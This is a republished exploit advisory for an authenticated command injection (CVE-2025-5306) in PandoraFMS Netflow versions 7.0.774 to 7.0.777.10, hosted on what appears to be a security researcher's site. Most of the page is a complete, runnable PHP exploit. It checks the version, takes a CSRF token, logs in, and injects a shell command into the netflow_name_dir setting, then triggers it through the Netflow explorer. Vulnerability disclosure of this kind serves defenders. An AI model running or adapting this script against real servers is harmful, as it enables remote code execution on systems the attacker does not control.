Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

PandoraFMS Netflow 7.0.777.10 Command Injection
PandoraFMS Netflow 7.0.777.10 Command Injection
PandoraFMS Netflow 7.0.777.10 Command Injection

=============================================================================================================================================
| # Title PandoraFMS Netflow 7.0.777.10 Command Injection

=============================================================================================================================================
| # Title : PandoraFMS Netflow 7.0.774?7.0.777.10 Authenticated Command Injection
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://pandorafms.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/207183/ & CVE-2025-5306

[+] Summary :

PandoraFMS versions 7.0.774 through 7.0.777.10 contain an authenticated command injection vulnerability in the Netflow configuration component. An authenticated attacker with valid credentials can inject arbitrary system commands via the netflow_name_dir parameter, leading to remote code execution on the underlying server with the privileges of the web server user.

[+] POC :

php poc.php

<?php

class PandoraFMS_Netflow_RCE {

private $target;
private $username;
private $password;
private $csrf_token;
private $cookies;

public function __construct($target, $username, $password) {
$this->target = rtrim($target, '/');
$this->username = $username;
$this->password = $password;
$this->csrf_token = null;
$this->cookies = [];
}

private function send_request($method, $endpoint, $data = null, $is_post = false) {
$url = $this->target . $endpoint;

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEFILE => '',
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);

// Preserve cookies between requests
if (!empty($this->cookies)) {
curl_setopt($ch, CURLOPT_COOKIE, $this->build_cookie_header());
}

if ($is_post) {
curl_setopt($ch, CURLOPT_POST, true);
if ($data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
}
} else {
if ($data && !$is_post) {
$url .= '?' . http_build_query($data);
curl_setopt($ch, CURLOPT_URL, $url);
}
}

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Save cookies from response
if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) {
foreach ($matches[1] as $cookie) {
$parts = explode('=', $cookie, 2);
if (count($parts) === 2) {
$this->cookies[$parts[0]] = $parts[1];
}
}
}

curl_close($ch);

return [
'code' => $http_code,
'body' => $response
];
}

private function build_cookie_header() {
$cookies = [];
foreach ($this->cookies as $name => $value) {
$cookies[] = $name . '=' . $value;
}
return implode('; ', $cookies);
}

private function extract_csrf_token($html) {
if (preg_match('/<input[^>]*id="hidden-csrf_code"[^>]*value="([^"]*)"/i', $html, $matches)) {
return $matches[1];
}
return null;
}

private function extract_version($html) {
if (preg_match('/<div[^>]*id="ver_num"[^>]*>([^<]*)</i', $html, $matches)) {
$version = trim($matches[1]);
// Remove 'v' prefix and 'NG' suffix
$version = ltrim($version, 'v');
$version = str_replace('NG', '', $version);
return $version;
}
return null;
}

public function check() {
echo "[*] Checking target...\n";

$response = $this->send_request('GET', '/pandora_console/index.php', ['login' => '1']);

if ($response['code'] !== 200) {
return "Unknown: Received unexpected response code: " . $response['code'];
}

if (empty($response['body'])) {
return "Unknown: Empty response received";
}

$version = $this->extract_version($response['body']);
$this->csrf_token = $this->extract_csrf_token($response['body']);

if (!$version) {
return "Safe: Application is probably not PandoraFMS";
}

echo "[*] Detected version: $version\n";

if (!$this->csrf_token) {
echo "[!] CSRF token not found\n";
}

// Check if version is vulnerable (7.0.774 to 7.0.777.10)
if (version_compare($version, '7.0.774', '>=') &&
version_compare($version, '7.0.777.10', '<=')) {
return "Appears: Vulnerable PandoraFMS version $version detected";
}

return "Safe: Running version $version, which is not vulnerable";
}

private function get_csrf_token() {
if ($this->csrf_token) {
return $this->csrf_token;
}

$response = $this->send_request('GET', '/pandora_console/index.php', ['login' => '1']);

if ($response['code'] !== 200) {
throw new Exception("Unexpected response when fetching CSRF token");
}

$this->csrf_token = $this->extract_csrf_token($response['body']);

if (!$this->csrf_token) {
throw new Exception("Could not find CSRF token");
}

return $this->csrf_token;
}

private function login_successful($response) {
return $response['code'] === 200 &&
(strpos($response['body'], 'id="welcome-icon-header"') !== false ||
strpos($response['body'], 'id="welcome_panel"') !== false ||
strpos($response['body'], 'godmode') !== false);
}

private function login() {
echo "[*] Attempting to login...\n";

$csrf_token = $this->get_csrf_token();

$post_data = [
'nick' => $this->username,
'pass' => $this->password,
'login_button' => "Let's go",
'csrf_code' => $csrf_token
];

$response = $this->send_request('POST', '/pandora_console/index.php',
array_merge(['login' => '1'], $post_data), true);

if (!$this->login_successful($response)) {
throw new Exception("Login failed - invalid credentials or application error");
}

echo "[+] Login successful\n";
}

private function extract_netflow_config($html) {
$config = [];

// Extract netflow_daemon
if (preg_match('/<input[^>]*name="netflow_daemon"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_daemon'] = $matches[1];
}

// Extract netflow_nfdump
if (preg_match('/<input[^>]*name="netflow_nfdump"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_nfdump'] = $matches[1];
}

// Extract netflow_max_resolution
if (preg_match('/<input[^>]*name="netflow_max_resolution"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_max_resolution'] = $matches[1];
}

// Extract netflow_disable_custom_lvfilters_sent
if (preg_match('/<input[^>]*name="netflow_disable_custom_lvfilters_sent"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_disable_custom_lvfilters_sent'] = $matches[1];
}

// Extract netflow_max_lifetime
if (preg_match('/<input[^>]*name="netflow_max_lifetime"[^>]*value="([^"]*)"/i', $html, $matches)) {
$config['netflow_max_lifetime'] = $matches[1];
}

// Extract netflow_interval
if (preg_match('/<select[^>]*name="netflow_interval"[^>]*>.*?<option[^>]*selected="selected"[^>]*value="([^"]*)"/is', $html, $matches)) {
$config['netflow_interval'] = $matches[1];
}

return $config;
}

private function valid_netflow_options($config) {
foreach ($config as $key => $value) {
if (empty($value)) {
return false;
}
}
return true;
}

private function configure_netflow($payload) {
echo "[*] Configuring Netflow with payload...\n";

$response = $this->send_request('GET', '/pandora_console/index.php', [
'sec' => 'general',
'sec2' => 'godmode/setup/setup',
'section' => 'net'
]);

if ($response['code'] !== 200) {
throw new Exception("Netflow might not be enabled");
}

$config = $this->extract_netflow_config($response['body']);

if (!$this->valid_netflow_options($config)) {
throw new Exception("Failed to get existing Netflow configuration");
}

// Add payload to netflow_name_dir parameter
$config['netflow_name_dir'] = ';' . $payload . '#';
$config['update_config'] = '1';
$config['upd_button'] = 'Update';

$response = $this->send_request('POST', '/pandora_console/index.php',
array_merge([
'sec' => 'general',
'sec2' => 'godmode/setup/setup',
'section' => 'net'
], $config), true);

if ($response['code'] !== 200) {
throw new Exception("Failed to configure Netflow");
}

echo "[+] Netflow configured with payload\n";
}

private function trigger_payload() {
echo "[*] Triggering payload execution...\n";

$response = $this->send_request('GET', '/pandora_console/index.php', [
'sec' => 'network_traffic',
'sec2' => 'operation/netflow/netflow_explorer'
]);

echo "[+] Payload triggered\n";
return $response;
}

public function exploit($payload) {
try {
echo "[*] Starting PandoraFMS Netflow RCE exploitation...\n";

// Check target first
$check_result = $this->check();
echo "[*] Check result: $check_result\n";

if (strpos($check_result, 'Safe') !== false) {
echo "[-] Target is not vulnerable, stopping exploitation\n";
return false;
}

// Login
$this->login();

// Configure netflow with payload
$this->configure_netflow($payload);

// Trigger the payload
$this->trigger_payload();

echo "[+] Exploitation completed\n";
return true;

} catch (Exception $e) {
echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
return false;
}
}
}

// ???? ????? ????????? ??????
class SimplePandoraExploit {

public static function execute($target, $username, $password, $command) {
$target = rtrim($target, '/');

// Step 1: Get CSRF token and login
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target . '/pandora_console/index.php?login=1',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => '',
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);

$response = curl_exec($ch);
$csrf_token = null;

if (preg_match('/<input[^>]*id="hidden-csrf_code"[^>]*value="([^"]*)"/i', $response, $matches)) {
$csrf_token = $matches[1];
}

if (!$csrf_token) {
return "[-] Failed to get CSRF token";
}

// Step 2: Login
$post_data = http_build_query([
'nick' => $username,
'pass' => $password,
'login_button' => "Let's go",
'csrf_code' => $csrf_token
]);

curl_setopt_array($ch, [
CURLOPT_URL => $target . '/pandora_console/index.php?login=1',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data
]);

$login_response = curl_exec($ch);

if (strpos($login_response, 'godmode') === false) {
return "[-] Login failed";
}

// Step 3: Configure Netflow with payload
$netflow_data = http_build_query([
'netflow_daemon' => '/usr/bin/nfcapd',
'netflow_nfdump' => '/usr/bin/nfdump',
'netflow_max_resolution' => '1080',
'netflow_disable_custom_lvfilters_sent' => '0',
'netflow_max_lifetime' => '30',
'netflow_interval' => '300',
'netflow_name_dir' => ';' . $command . '#',
'update_config' => '1',
'upd_button' => 'Update'
]);

curl_setopt_array($ch, [
CURLOPT_URL => $target . '/pandora_console/index.php?sec=general&sec2=godmode/setup/setup&section=net',
CURLOPT_POSTFIELDS => $netflow_data
]);

$config_response = curl_exec($ch);

// Step 4: Trigger payload
curl_setopt_array($ch, [
CURLOPT_URL => $target . '/pandora_console/index.php?sec=network_traffic&sec2=operation/netflow/netflow_explorer',
CURLOPT_POST => false,
CURLOPT_POSTFIELDS => null
]);

$trigger_response = curl_exec($ch);
curl_close($ch);

return "[+] Exploitation completed";
}
}

// ?????????
if (php_sapi_name() === 'cli') {

if ($argc < 5) {
echo "Usage: php " . $argv[0] . " <target_url> <username> <password> <command>\n";
echo "Example: php " . $argv[0] . " http://localhost admin pandora \"id\"\n";
exit(1);
}

$target = $argv[1];
$username = $argv[2];
$password = $argv[3];
$command = $argv[4];

// ??????? ?????? ???????
$exploit = new PandoraFMS_Netflow_RCE($target, $username, $password);
$exploit->exploit($command);

// ?? ??????? ?????? ???????
// $result = SimplePandoraExploit::execute($target, $username, $password, $command);
// echo $result . "\n";
}

?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share